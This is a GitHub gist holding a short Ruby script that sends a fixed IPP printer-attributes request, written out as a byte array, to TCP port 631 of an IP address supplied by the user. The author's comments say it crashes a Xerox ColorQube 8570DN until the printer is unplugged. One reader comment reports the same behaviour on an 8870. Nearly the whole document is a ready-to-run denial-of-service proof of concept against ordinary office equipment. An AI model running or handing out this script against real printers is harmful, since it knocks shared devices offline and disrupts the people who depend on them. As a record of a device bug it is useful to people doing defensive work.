Skip to content

Instantly share code, notes, and snippets.

@blowback

blowback/crash_printer.rb

Created January 24, 2014 14:47
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save blowback/8598657 to your computer and use it in GitHub Desktop.
Save blowback/8598657 to your computer and use it in GitHub Desktop.
Download ZIP
Crash a Xerox ColorQube 8570DN printer *hard*
Raw
crash_printer.rb
#!/usr/bin/env ruby
# crash a Xerox ColorQube 8570DN *hard*. You'll have
# to unplug the piece of crap from the wall and let it
# have a little lie down. Then there's the 15 minute
# power-up. Deep joy.
#
# usage: crash_printer PRINTER_IP_ADDRESS
require 'socket'
# The payload is a simple IPP Printer Attributes Request
# as sent ubuntu linux 13.10 (CUPS 1.7rc1)
payload = [
0x50, 0x4f, 0x53, 0x54, 0x20, 0x2f, 0x20, 0x48,
0x54, 0x54, 0x50, 0x2f, 0x31, 0x2e, 0x31, 0x0d,
0x0a, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74,
0x2d, 0x4c, 0x65, 0x6e, 0x67, 0x74, 0x68, 0x3a,
0x20, 0x36, 0x30, 0x34, 0x0d, 0x0a, 0x43, 0x6f,
0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2d, 0x54, 0x79,
0x70, 0x65, 0x3a, 0x20, 0x61, 0x70, 0x70, 0x6c,
0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f,
0x69, 0x70, 0x70, 0x0d, 0x0a, 0x48, 0x6f, 0x73,
0x74, 0x3a, 0x20, 0x31, 0x37, 0x32, 0x2e, 0x31,
0x37, 0x2e, 0x33, 0x2e, 0x31, 0x3a, 0x36, 0x33,
0x31, 0x0d, 0x0a, 0x55, 0x73, 0x65, 0x72, 0x2d,
0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x43,
0x55, 0x50, 0x53, 0x2f, 0x31, 0x2e, 0x37, 0x72,
0x63, 0x31, 0x20, 0x28, 0x4c, 0x69, 0x6e, 0x75,
0x78, 0x20, 0x33, 0x2e, 0x31, 0x31, 0x2e, 0x30,
0x2d, 0x31, 0x33, 0x2d, 0x67, 0x65, 0x6e, 0x65,
0x72, 0x69, 0x63, 0x3b, 0x20, 0x78, 0x38, 0x36,
0x5f, 0x36, 0x34, 0x29, 0x20, 0x49, 0x50, 0x50,
0x2f, 0x32, 0x2e, 0x30, 0x0d, 0x0a, 0x0d, 0x0a,
0x01, 0x01, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x01,
0x01, 0x47, 0x00, 0x12, 0x61, 0x74, 0x74, 0x72,
0x69, 0x62, 0x75, 0x74, 0x65, 0x73, 0x2d, 0x63,
0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x00, 0x05,
0x75, 0x74, 0x66, 0x2d, 0x38, 0x48, 0x00, 0x1b,
0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74,
0x65, 0x73, 0x2d, 0x6e, 0x61, 0x74, 0x75, 0x72,
0x61, 0x6c, 0x2d, 0x6c, 0x61, 0x6e, 0x67, 0x75,
0x61, 0x67, 0x65, 0x00, 0x05, 0x65, 0x6e, 0x2d,
0x67, 0x62, 0x42, 0x00, 0x14, 0x72, 0x65, 0x71,
0x75, 0x65, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x2d,
0x75, 0x73, 0x65, 0x72, 0x2d, 0x6e, 0x61, 0x6d,
0x65, 0x00, 0x03, 0x61, 0x6e, 0x74, 0x45, 0x00,
0x0b, 0x70, 0x72, 0x69, 0x6e, 0x74, 0x65, 0x72,
0x2d, 0x75, 0x72, 0x69, 0x00, 0x18, 0x69, 0x70,
0x70, 0x3a, 0x2f, 0x2f, 0x31, 0x37, 0x32, 0x2e,
0x31, 0x37, 0x2e, 0x33, 0x2e, 0x31, 0x3a, 0x36,
0x33, 0x31, 0x2f, 0x69, 0x70, 0x70, 0x44, 0x00,
0x14, 0x72, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,
0x65, 0x64, 0x2d, 0x61, 0x74, 0x74, 0x72, 0x69,
0x62, 0x75, 0x74, 0x65, 0x73, 0x00, 0x0c, 0x70,
0x72, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x2d, 0x6e,
0x61, 0x6d, 0x65, 0x44, 0x00, 0x00, 0x00, 0x15,
0x70, 0x72, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x2d,
0x75, 0x72, 0x69, 0x2d, 0x73, 0x75, 0x70, 0x70,
0x6f, 0x72, 0x74, 0x65, 0x64, 0x44, 0x00, 0x00,
0x00, 0x0b, 0x6d, 0x65, 0x6d, 0x62, 0x65, 0x72,
0x2d, 0x75, 0x72, 0x69, 0x73, 0x44, 0x00, 0x00,
0x00, 0x10, 0x70, 0x72, 0x69, 0x6e, 0x74, 0x65,
0x72, 0x2d, 0x6c, 0x6f, 0x63, 0x61, 0x74, 0x69,
0x6f, 0x6e, 0x44, 0x00, 0x00, 0x00, 0x0c, 0x70,
0x72, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x2d, 0x69,
0x6e, 0x66, 0x6f, 0x44, 0x00, 0x00, 0x00, 0x15,
0x70, 0x72, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x2d,
0x73, 0x74, 0x61, 0x74, 0x65, 0x2d, 0x6d, 0x65,
0x73, 0x73, 0x61, 0x67, 0x65, 0x44, 0x00, 0x00,
0x00, 0x15, 0x70, 0x72, 0x69, 0x6e, 0x74, 0x65,
0x72, 0x2d, 0x73, 0x74, 0x61, 0x74, 0x65, 0x2d,
0x72, 0x65, 0x61, 0x73, 0x6f, 0x6e, 0x73, 0x44,
0x00, 0x00, 0x00, 0x0d, 0x70, 0x72, 0x69, 0x6e,
0x74, 0x65, 0x72, 0x2d, 0x73, 0x74, 0x61, 0x74,
0x65, 0x44, 0x00, 0x00, 0x00, 0x10, 0x71, 0x75,
0x65, 0x75, 0x65, 0x64, 0x2d, 0x6a, 0x6f, 0x62,
0x2d, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x00,
0x00, 0x00, 0x19, 0x70, 0x72, 0x69, 0x6e, 0x74,
0x65, 0x72, 0x2d, 0x69, 0x73, 0x2d, 0x61, 0x63,
0x63, 0x65, 0x70, 0x74, 0x69, 0x6e, 0x67, 0x2d,
0x6a, 0x6f, 0x62, 0x73, 0x44, 0x00, 0x00, 0x00,
0x14, 0x6a, 0x6f, 0x62, 0x2d, 0x73, 0x68, 0x65,
0x65, 0x74, 0x73, 0x2d, 0x73, 0x75, 0x70, 0x70,
0x6f, 0x72, 0x74, 0x65, 0x64, 0x44, 0x00, 0x00,
0x00, 0x12, 0x6a, 0x6f, 0x62, 0x2d, 0x73, 0x68,
0x65, 0x65, 0x74, 0x73, 0x2d, 0x64, 0x65, 0x66,
0x61, 0x75, 0x6c, 0x74, 0x44, 0x00, 0x00, 0x00,
0x0c, 0x70, 0x72, 0x69, 0x6e, 0x74, 0x65, 0x72,
0x2d, 0x74, 0x79, 0x70, 0x65, 0x44, 0x00, 0x00,
0x00, 0x12, 0x61, 0x75, 0x74, 0x68, 0x2d, 0x69,
0x6e, 0x66, 0x6f, 0x2d, 0x72, 0x65, 0x71, 0x75,
0x69, 0x72, 0x65, 0x64, 0x44, 0x00, 0x00, 0x00,
0x11, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x2d,
0x75, 0x70, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75,
0x6c, 0x74, 0x44, 0x00, 0x00, 0x00, 0x16, 0x69,
0x70, 0x70, 0x2d, 0x76, 0x65, 0x72, 0x73, 0x69,
0x6f, 0x6e, 0x73, 0x2d, 0x73, 0x75, 0x70, 0x70,
0x6f, 0x72, 0x74, 0x65, 0x64, 0x44, 0x00, 0x00,
0x00, 0x24, 0x6d, 0x75, 0x6c, 0x74, 0x69, 0x70,
0x6c, 0x65, 0x2d, 0x64, 0x6f, 0x63, 0x75, 0x6d,
0x65, 0x6e, 0x74, 0x2d, 0x68, 0x61, 0x6e, 0x64,
0x6c, 0x69, 0x6e, 0x67, 0x2d, 0x73, 0x75, 0x70,
0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x44, 0x00,
0x00, 0x00, 0x10, 0x63, 0x6f, 0x70, 0x69, 0x65,
0x73, 0x2d, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72,
0x74, 0x65, 0x64, 0x44, 0x00, 0x00, 0x00, 0x13,
0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x2d, 0x75,
0x70, 0x2d, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72,
0x74, 0x65, 0x64, 0x03
]
printer = ARGV.shift || raise("usage: crash_printer PRINTER_IP_ADDRESS")
sock = TCPSocket.new(printer, 631)
sock.puts payload.pack("c*")
sock.close
@relbud
Copy link

relbud commented Jul 20, 2015

Anybody get any joy solving this problem? I have the same issue with an 8870. Great printer, but does have its own special personality problems!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment